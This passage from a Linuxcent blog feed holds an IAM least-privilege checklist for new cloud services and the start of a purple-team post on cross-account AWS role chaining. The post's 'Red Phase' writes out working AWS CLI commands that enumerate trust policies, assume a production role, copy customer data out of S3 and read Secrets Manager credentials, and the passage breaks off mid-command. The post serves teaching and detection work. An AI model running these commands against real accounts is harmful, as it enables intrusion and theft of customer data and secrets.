
  Provider ships GA
         │
         ▼
  Team requests access ──────► Tempting shortcut: &quot;service:*&quot; on &quot;*&quot;
         │                      (unblocks today, becomes next year&#039;s
         │                       wildcard-debt line item in EP09&#039;s audit)
         ▼
  STEP 1 — Find the exact actions the task needs
         │   (Service Authorization Reference · list-testable-permissions ·
         │    provider operation show)
         ▼
  STEP 2 — Scope the resource, not the account
         │   (ARN pattern / resource URI / resource group — never &quot;*&quot;)
         ▼
  STEP 3 — Dry-run before granting
         │   (simulate-principal-policy · policy-troubleshoot iam · what-if)
         ▼
  STEP 4 — Attach a guardrail, not just a grant
         │   (permission boundary / SCP · Org Policy · Azure Policy)
         ▼
  STEP 5 — Put a 30-day review on the calendar
         │   (provisional access, not permanent — EP09&#039;s audit is the
         │    backstop for whatever step 5 misses)
         ▼
  Access granted: scoped, guarded, and time-boxed
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>New cloud service IAM permissions land the same day a provider ships something new — usually before your Terraform provider, your internal enablement docs, or anyone&#8217;s muscle memory has caught up. A team wants to use the new service today, and the fastest way to unblock them is a wildcard: <code class="" data-line="">service:*</code> on <code class="" data-line="">Resource: *</code>. It works immediately. It also never gets revisited.</p>
<p>I&#8217;ve seen this pattern enough times across AWS, GCP, and Azure environments to stop treating it as a one-off mistake and start treating it as a predictable failure mode. Every cloud provider ships new services and new API actions on existing services continuously — thousands of changes a year across the big three. IAM has to keep up with all of it, and nobody&#8217;s tooling updates same-day. The gap between &#8220;the service exists&#8221; and &#8220;the least-privilege policy for it exists&#8221; is where every wildcard grant in your account was born.</p>
<p>This episode is the checklist I use to close that gap before it becomes <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> problem six months later.</p>
<hr />
<h2 id="why-this-keeps-happening">Why This Keeps Happening</h2>
<p>Cloud providers version their IAM action sets independently of their service launches. A service can go GA with its full action list, then add new actions for a feature shipped three months later — with no changelog most teams are subscribed to. Preview and beta services are worse: action names occasionally change between preview and GA, which means a policy scoped correctly during the beta can silently stop matching after the rename.</p>
<p>None of this is a documentation failure you can fix by reading more carefully. It&#8217;s a structural lag between provider release velocity and your policy review cycle. The fix isn&#8217;t reading faster — it&#8217;s having a checklist that runs the same way every time a new service shows up in a support ticket.</p>
<hr />
<h2 id="step-1-find-the-exact-actions-the-task-needs">Step 1: Find the Exact Actions the Task Needs</h2>
<h3 id="aws">AWS</h3>
<p>AWS doesn&#8217;t expose a single CLI call that lists &#8220;every action for this service.&#8221; The two real sources:</p>
<ol>
<li>The <a href="https://docs.aws.amazon.com/service-authorization/latest/reference/">Service Authorization Reference</a> — the canonical, per-service action/resource/condition-key list. Not a CLI, but the ground truth.</li>
<li>IAM Access Analyzer&#8217;s policy generation — build a least-privilege policy from what a role <em>actually called</em>, not from the full service action list:</li>
</ol>
<pre><code class="" data-line=""># Let a trial role use the new service for a short period first, then generate
# a policy scoped to only the actions that were actually invoked
aws accessanalyzer start-policy-generation \
  --policy-generation-details principalArn=arn:aws:iam::123456789012:role/new-service-trial-role \
  --cloud-trail-details &#039;{
    &quot;trails&quot;: [{&quot;cloudTrailArn&quot;: &quot;arn:aws:cloudtrail:us-east-1:123456789012:trail/management-trail&quot;, &quot;allRegions&quot;: true}],
    &quot;accessRole&quot;: &quot;arn:aws:iam::123456789012:role/AccessAnalyzerMonitorRole&quot;
  }&#039;

# Poll for the generated policy once the job completes
aws accessanalyzer get-generated-policy --job-id &lt;JOB_ID&gt;
</code></pre>
<blockquote>
<p><strong>For operators:</strong> this generates a policy from <em>observed</em> API calls, not theoretical need. Run the trial role for long enough to exercise every code path the team actually uses — a policy generated from five minutes of testing will be too narrow for production.</p>
</blockquote>
<h3 id="gcp">GCP</h3>
<pre><code class="" data-line=""># Returns the exact permissions that CAN be granted on this specific resource —
# scoped to what that resource type supports, not the whole service
gcloud iam list-testable-permissions \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1
</code></pre>
<p>Reading the output: each returned permission is one your team might plausibly need — GCP won&#8217;t list permissions that don&#8217;t apply to this resource type. Cross-reference against the task at hand and grant only the subset actually required.</p>
<h3 id="azure">Azure</h3>
<pre><code class="" data-line=""># Lists every operation (permission) a resource provider namespace exposes
az provider operation show \
  --namespace Microsoft.CognitiveServices \
  --query &quot;[].{Operation:name, Description:display.description}&quot; \
  -o table
</code></pre>
<p>This is the full menu for the namespace — most tasks need a handful of these operations, not all of them. Use it to find the exact operation string for a custom role definition rather than reaching for a built-in <code class="" data-line="">Contributor</code>-level role.</p>
<hr />
<h2 id="step-2-scope-the-resource-not-the-account">Step 2: Scope the Resource, Not the Account</h2>
<p>Finding the right action is half the job. The other half is refusing <code class="" data-line="">&quot;Resource&quot;: &quot;*&quot;</code>.</p>
<pre><code class="" data-line="">// Bad — every foundation model, in every region, forever
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: &quot;bedrock:*&quot;,
  &quot;Resource&quot;: &quot;*&quot;
}

// Better — scoped to the specific model family the team asked for
{
  &quot;Effect&quot;: &quot;Allow&quot;,
  &quot;Action&quot;: [&quot;bedrock:InvokeModel&quot;],
  &quot;Resource&quot;: &quot;arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude*&quot;
}
</code></pre>
<p>The same discipline applies in GCP (bind the role to the specific project or resource, not the organization) and Azure (scope the role assignment to the resource group, not the subscription). A new service is the easiest moment to get this right — there&#8217;s no existing wildcard grant to &#8220;just extend.&#8221;</p>
<hr />
<h2 id="step-3-dry-run-before-you-grant">Step 3: Dry-Run Before You Grant</h2>
<p>Test the policy against the real action before it&#8217;s live.</p>
<pre><code class="" data-line=""># AWS: simulate whether a principal&#039;s policy allows a specific action on a specific resource
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::123456789012:role/new-service-role \
  --action-names bedrock:InvokeModel \
  --resource-arns arn:aws:bedrock:us-east-1::foundation-model/anthropic.claude-v2
</code></pre>
<pre><code class="" data-line=""># GCP: Policy Troubleshooter — does this principal have this permission on this resource, and why (or why not)?
gcloud policy-troubleshoot iam \
  //aiplatform.googleapis.com/projects/my-project/locations/us-central1 \
  --principal-email=svc-new-service@my-project.iam.gserviceaccount.com \
  --permission=aiplatform.endpoints.predict
</code></pre>
<pre><code class="" data-line=""># Azure: preview what an IaC deployment (including role assignments) will change before applying it
az deployment group what-if \
  --resource-group rg-new-service \
  --template-file role-assignment.bicep
</code></pre>
<p>None of these grant access. All three tell you, before the grant is live, whether the policy you wrote actually does what you think it does.</p>
<hr />
<h2 id="step-4-attach-a-guardrail-not-just-a-grant">Step 4: Attach a Guardrail, Not Just a Grant</h2>
<p>A grant without a guardrail is one typo away from being an account-wide wildcard. Pair every new-service grant with a boundary that survives the next person copy-pasting the policy:</p>
<ul>
<li><strong>AWS</strong> — a permission boundary on the role, or an SCP restricting the new service to specific OUs until it&#8217;s been reviewed</li>
<li><strong>GCP</strong> — an Org Policy constraint limiting resource locations or restricting which services can be enabled in the first place</li>
<li><strong>Azure</strong> — an Azure Policy assignment enforcing an allowed-services list at the subscription or management group level</li>
</ul>
<p>The guardrail is what keeps &#8220;we scoped it correctly on day one&#8221; true after the policy gets copied into three other roles by someone who wasn&#8217;t in this conversation.</p>
<hr />
<h2 id="step-5-put-a-30-day-review-on-the-calendar">Step 5: Put a 30-Day Review on the Calendar</h2>
<p>Treat every new-service grant as provisional, not permanent. A calendar reminder — not a ticket that can sit in a backlog — to check actual usage against granted permissions 30 days out.</p>
<p>This is the same discipline <a href="/iam-least-privilege-audit/">EP09&#8217;s least-privilege audit</a> runs at the account level, applied at the moment of grant instead of six months later. Step 5 is what catches the case where the team&#8217;s actual usage turned out narrower than the trial period suggested — or wider, because the trial period didn&#8217;t exercise every path.</p>
<hr />
<h2 id="production-gotchas">Production Gotchas</h2>
<table>
<thead>
<tr>
<th>Mistake</th>
<th>Impact</th>
<th>Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>Granting console-wide access &#8220;temporarily&#8221; while waiting for Terraform provider support</td>
<td>Temporary access outlives the wait — nobody revokes it once the provider resource ships</td>
<td>Time-box the console grant explicitly; automate its removal, don&#8217;t rely on memory</td>
</tr>
<tr>
<td>Scoping a policy to a preview/beta action name</td>
<td>Silent breakage (or worse, silent continued access via an old wildcard) when the action renames at GA</td>
<td>Re-verify the action name against the Service Authorization Reference at GA, not just at preview</td>
</tr>
<tr>
<td>Assuming a new service reuses an existing condition key</td>
<td>Policy conditions that &#8220;should&#8221; restrict access silently don&#8217;t apply, because the new service doesn&#8217;t support that key</td>
<td>Check the service&#8217;s supported condition keys before reusing an existing policy pattern</td>
</tr>
<tr>
<td>Trial period too short for Access Analyzer&#8217;s policy generation</td>
<td>Generated policy is too narrow; production breaks on day one under real load</td>
<td>Run the trial long enough to exercise every code path, including error and retry paths</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Task</th>
<th>AWS</th>
<th>GCP</th>
<th>Azure</th>
</tr>
</thead>
<tbody>
<tr>
<td>Discover exact actions</td>
<td>Service Authorization Reference + <code class="" data-line="">accessanalyzer start-policy-generation</code></td>
<td><code class="" data-line="">gcloud iam list-testable-permissions &lt;resource&gt;</code></td>
<td><code class="" data-line="">az provider operation show --namespace &lt;Provider&gt;</code></td>
</tr>
<tr>
<td>Dry-run a grant</td>
<td><code class="" data-line="">aws iam simulate-principal-policy</code></td>
<td><code class="" data-line="">gcloud policy-troubleshoot iam</code></td>
<td><code class="" data-line="">az deployment group what-if</code></td>
</tr>
<tr>
<td>Guardrail</td>
<td>Permission boundary / SCP</td>
<td>Org Policy constraint</td>
<td>Azure Policy assignment</td>
</tr>
<tr>
<td>Recurring check</td>
<td><code class="" data-line="">aws accessanalyzer</code> unused-access findings</td>
<td>IAM Recommender</td>
<td>Access Reviews</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Control / ID</th>
<th>Mapping</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — IAM</td>
<td>Least privilege enforced at initial provisioning, not discovered later through audit</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 1 — Security &amp; Risk Management</td>
<td>Provisional access as a risk-acceptance decision with an explicit review date</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.15 Access control</td>
<td>Access rights defined and scoped to business need at the point of grant</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.18 Access rights</td>
<td>Review of access rights — extended here to newly granted permissions, not just standing ones</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Logical access controls restrict access to authorized users and processes from first grant</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.3</td>
<td>Access is modified or revoked based on a defined review cadence</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>New cloud service IAM permissions ship on the provider&#8217;s schedule, not yours — the checklist has to run the same way every time, not only when someone remembers</li>
<li>The fast path (<code class="" data-line="">service:*</code> on <code class="" data-line="">*</code>) is also the path to next year&#8217;s wildcard-debt finding — scope it once, at the point of grant, instead of unwinding it later</li>
<li>AWS, GCP, and Azure each expose a different tool for discovering exact actions — none of them is &#8220;read the whole service&#8217;s docs and guess&#8221;</li>
<li>A grant without a guardrail (permission boundary, SCP, Org Policy, Azure Policy) is one copy-paste away from becoming account-wide</li>
<li>Provisional access needs an expiration built in from day one — a 30-day calendar review, not a hope that someone runs the audit eventually</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>This series doesn&#8217;t have a fixed episode count anymore — new cloud service IAM permissions are a continuous stream across AWS, GCP, and Azure, and this series continues covering them as they matter operationally, not on a fixed syllabus.</p>
<p>Get the next Cloud IAM episode in your inbox → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&amp;linkname=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fnew-service-iam-permissions-checklist%2F&#038;title=New%20Cloud%20Service%20IAM%20Permissions%3A%20A%20Checklist%20Before%20You%20Grant%20Access" data-a2a-url="https://linuxcent.com/new-service-iam-permissions-checklist/" data-a2a-title="New Cloud Service IAM Permissions: A Checklist Before You Grant Access"></a></p><p>The post <a href="https://linuxcent.com/new-service-iam-permissions-checklist/">New Cloud Service IAM Permissions: A Checklist Before You Grant Access</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/new-service-iam-permissions-checklist/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">2176</post-id>	</item>
		<item>
		<title>Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</title>
		<link>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/</link>
					<comments>https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 04 Jul 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Cross-Account]]></category>
		<category><![CDATA[IAM]]></category>
		<category><![CDATA[Lateral Movement]]></category>
		<category><![CDATA[OWASP]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1870</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span>Cloud lateral movement doesn't need network pivoting — it needs one overly-broad IAM trust policy. How cross-account role chaining works and how to detect it before data leaves.</p>
<p>The post <a href="https://linuxcent.com/cloud-lateral-movement-iam-role-chaining/">Cloud Lateral Movement: Cross-Account IAM Role Chaining Explained</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 12</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security?</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <a href="/cloud-security-breaches-2020-2025/">Cloud security breaches 2020–2025</a> → <a href="/broken-access-control-aws/">Broken access control in AWS</a> → <a href="/mfa-fatigue-attack/">MFA fatigue attacks</a> → <a href="/cicd-secrets-exposure/">CI/CD secrets exposure</a> → <a href="/ssrf-cloud-metadata-capital-one-breach/">SSRF to cloud metadata</a> → <a href="/kubernetes-container-escape-attack-paths/">Kubernetes container escape</a> → <a href="/supply-chain-attack-solarwinds-xz-utils/">Supply chain attacks</a> → <strong>Cloud Lateral Movement</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud lateral movement IAM</strong> is OWASP A01: attackers move between cloud accounts by exploiting cross-account IAM trust relationships — no network pivoting, no exploit, just a valid <code class="" data-line="">sts:AssumeRole</code> call</li>
<li>The structural vulnerability is a trust policy scoped too broadly — <code class="" data-line="">arn:aws:iam::DEV_ACCOUNT:root</code> instead of the specific Lambda execution role ARN — which lets any identity in the dev account assume the prod role</li>
<li>The full attack chain: compromised Lambda in dev account → enumerate cross-account trust policies → <code class="" data-line="">aws sts assume-role</code> into prod → access data lake S3 bucket → exfiltrate before detection fires</li>
<li>CloudTrail is the primary detection surface: <code class="" data-line="">AssumeRole</code> events where the principal account ID differs from the resource account ID are the signal; GuardDuty surfaces the pattern as <code class="" data-line="">Recon:IAMUser/UserPermissions</code></li>
<li>AWS Access Analyzer automatically flags overly-broad cross-account trust policies — it should be running in every account in your organization, not just the management account</li>
<li>The structural fix is three layers: scope trust policy to the specific source ARN, add <code class="" data-line="">ExternalId</code> for confused deputy protection, and use AWS Organizations SCPs to restrict cross-account role assumptions to approved account pairs only</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> A01 Broken Access Control — cross-account IAM trust policies that specify an entire account root as the principal, instead of a specific role ARN, give any identity in the source account the ability to pivot into the target account.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────────┐
│               CROSS-ACCOUNT IAM LATERAL MOVEMENT                    │
│                                                                      │
│   DEV ACCOUNT (111111111111)                                         │
│   ┌────────────────────────────────────────────┐                    │
│   │  Lambda: api-processor                     │                    │
│   │  Execution Role: lambda-execution-role     │◄── COMPROMISED     │
│   │                                            │                    │
│   │  Attacker has: access key for this role    │                    │
│   └───────────────────┬────────────────────────┘                    │
│                        │                                             │
│                        │  sts:AssumeRole                             │
│                        │  (cross-account API call)                  │
│                        ▼                                             │
│   ┌─────────────────────────────────────────────┐                   │
│   │  TRUST POLICY CHECK (prod account role)     │                   │
│   │                                             │                   │
│   │  Principal: arn:aws:iam::111111111111:root  │                   │
│   │              ↑ TOO BROAD — any dev identity │                   │
│   └───────────────────┬─────────────────────────┘                   │
│                        │ ALLOW                                       │
│                        ▼                                             │
│   PROD ACCOUNT (222222222222)                                        │
│   ┌────────────────────────────────────────────┐                    │
│   │  Role: datalake-reader                     │                    │
│   │  Access: s3:GetObject on prod-datalake-*   │                    │
│   │          rds:Connect on prod-analytics-db  │                    │
│   │          secretsmanager:GetSecretValue      │                    │
│   └────────────────────┬───────────────────────┘                    │
│                         │                                            │
│                         ▼                                            │
│   customer-data.parquet, analytics schemas, DB credentials          │
│   ← exfiltrated in 23 minutes                                        │
└─────────────────────────────────────────────────────────────────────┘
</code></pre>
<p><strong>Cloud lateral movement IAM</strong> attacks succeed because the authentication step — the <code class="" data-line="">sts:AssumeRole</code> call — works exactly as designed. The Lambda&#8217;s identity is valid. The cross-account trust policy explicitly allows it. AWS faithfully issues the temporary credentials. The entire attack is indistinguishable from legitimate application behavior at the API level, which is why the trust policy is the only reliable prevention point.</p>
<hr />
<h2 id="the-incident-dev-lambda-to-prod-data-lake">The Incident: Dev Lambda to Prod Data Lake</h2>
<p>Post-breach analysis. The attacker didn&#8217;t find a zero-day. They found a GitHub repository.</p>
<p>A developer had committed an <code class="" data-line="">.env</code> file to a public repo containing <code class="" data-line="">AWS_ACCESS_KEY_ID</code> and <code class="" data-line="">AWS_SECRET_ACCESS_KEY</code> for a Lambda execution role in the dev account. GitHub&#8217;s secret scanning flagged it and notified the security team — but the notification arrived 58 minutes after the commit. By then, an automated credential scanner had already found it, validated the keys, and passed them to an attacker.</p>
<p>That 58-minute window is the entire story.</p>
<p>The Lambda&#8217;s execution role was scoped to the dev account, so initial triage assumed the blast radius was limited to dev. It wasn&#8217;t. A previous sprint had set up a cross-account trust relationship so the Lambda could read from the prod data lake during a data quality audit. The trust policy on the <code class="" data-line="">datalake-reader</code> role in prod read:</p>
<pre><code class="" data-line="">&quot;Principal&quot;: {&quot;AWS&quot;: &quot;arn:aws:iam::111111111111:root&quot;}
</code></pre>
<p>Not the Lambda&#8217;s specific execution role ARN. The entire dev account root. Any identity in the dev account — including the one the attacker now held — could assume <code class="" data-line="">datalake-reader</code> in prod.</p>
<p>The attacker enumerated cross-account roles from inside the compromised Lambda context, found the trust relationship, assumed the prod role, listed the data lake S3 bucket, and exfiltrated 14 GB of customer data parquet files before the first GuardDuty finding surfaced.</p>
<p>The revelation: <strong>cloud lateral movement doesn&#8217;t require network pivoting. It requires finding one IAM trust relationship that&#8217;s too broad.</strong></p>
<p>The compromise of the dev Lambda was recoverable — rotate credentials, remediate the repo, done. The cross-account trust policy turned it into a prod data breach.</p>
<hr />
<h2 id="red-phase-the-cross-account-attack-chain">Red Phase: The Cross-Account Attack Chain</h2>
<h3 id="step-1-enumerate-trust-policies-from-a-compromised-role">Step 1: Enumerate Trust Policies from a Compromised Role</h3>
<p>An attacker&#8217;s first move inside a cloud environment is always the same: establish who they are and what they can reach.</p>
<pre><code class="" data-line="">aws sts get-caller-identity
# Returns:
# {
#   &quot;UserId&quot;: &quot;AROAIOSFODNN7EXAMPLE:function-name&quot;,
#   &quot;Account&quot;: &quot;111111111111&quot;,
#   &quot;Arn&quot;: &quot;arn:aws:sts::111111111111:assumed-role/lambda-execution-role/function-name&quot;
# }

# List roles in the current account and their trust policies
# The trust policy (AssumeRolePolicyDocument) shows who can assume each role
aws iam list-roles \
  --query &#039;Roles[*].[RoleName,AssumeRolePolicyDocument]&#039; \
  --output json | \
  jq &#039;.[] | {
    role: .[0],
    principals: (.[1].Statement[].Principal.AWS // .[1].Statement[].Principal.Service)
  }&#039;
</code></pre>
<pre><code class="" data-line=""># More targeted: find roles that have cross-account trust relationships
# Look for principal ARNs from a different account ID
aws iam list-roles --output json | \
  jq --arg own_account &quot;111111111111&quot; \
  &#039;.Roles[] | 
    .AssumeRolePolicyDocument.Statement[] |
    select(.Principal.AWS? | 
      strings | 
      test($own_account) | not
    ) |
    {role: .Resource // &quot;check-parent&quot;, principal: .Principal}&#039;
</code></pre>
<pre><code class="" data-line=""># Simulate whether the current identity can assume a specific cross-account role
# This confirms the trust policy actually allows the assumption before trying it
aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:role/lambda-execution-role \
  --action-names sts:AssumeRole \
  --resource-arns arn:aws:iam::222222222222:role/datalake-reader \
  --query &#039;EvaluationResults[0].EvalDecision&#039; \
  --output text
# Returns: allowed
</code></pre>
<h3 id="step-2-assume-the-cross-account-role">Step 2: Assume the Cross-Account Role</h3>
<pre><code class="" data-line=""># Assume the target role — this is the lateral movement step
aws sts assume-role \
  --role-arn arn:aws:iam::222222222222:role/datalake-reader \
  --role-session-name &quot;recon-$(date +%s)&quot; \
  --query &#039;Credentials&#039;
# Returns:
# {
#   &quot;AccessKeyId&quot;: &quot;ASIAIOSFODNN7EXAMPLE&quot;,
#   &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;,
#   &quot;SessionToken&quot;: &quot;IQoJb3JpZ2luX2...(truncated)&quot;,
#   &quot;Expiration&quot;: &quot;2024-01-15T14:32:00Z&quot;
# }

# Export the credentials to use in subsequent commands
export AWS_ACCESS_KEY_ID=&quot;ASIAIOSFODNN7EXAMPLE&quot;
export AWS_SECRET_ACCESS_KEY=&quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY&quot;
export AWS_SESSION_TOKEN=&quot;IQoJb3JpZ2luX2...&quot;

# Confirm the new identity — now operating in prod account context
aws sts get-caller-identity
# {
#   &quot;Account&quot;: &quot;222222222222&quot;,  ← prod account
#   &quot;Arn&quot;: &quot;arn:aws:sts::222222222222:assumed-role/datalake-reader/recon-1705327920&quot;
# }
</code></pre>
<h3 id="step-3-enumerate-and-exfiltrate-from-prod">Step 3: Enumerate and Exfiltrate from Prod</h3>
<pre><code class="" data-line=""># What buckets are accessible from this role?
aws s3 ls

# Enumerate the data lake bucket
aws s3 ls --recursive s3://prod-datalake-bucket | \
  awk &#039;{print $3, $4}&#039; | \
  sort -rn | \
  head -20
# Shows: file sizes and paths
# 15728640  customer-data/2024/01/customer-data.parquet
# 8388608   analytics/sessions/session-events.parquet
# ...

# Exfiltrate — this is a single API call, logged in CloudTrail
aws s3 cp s3://prod-datalake-bucket/customer-data/2024/01/ /tmp/ \
  --recursive \
  --quiet

# Check for Secrets Manager access
aws secretsmanager list-secrets \
  --query &#039;SecretList[].{Name:Name,LastRotated:LastRotatedDate}&#039; \
  --output table

aws secretsmanager get-secret-value \
  --secret-id prod/analytics-db/credentials \
  --query &#039;SecretString&#039; \
  --output text
</code></pre>
<h3 id="step-4-role-chaining-staying-in-the-environment">Step 4: Role Chaining — Staying in the Environment</h3>
<p>Role chaining is assuming one role then using that session to assume another. It extends the attacker&#8217;s reach without returning to the original compromised identity.</p>
<pre><code class="" data-line=""># From the prod datalake-reader context, can we go further?
# Check what other roles trust this prod role, or what this role can assume
aws iam list-roles --output json | \
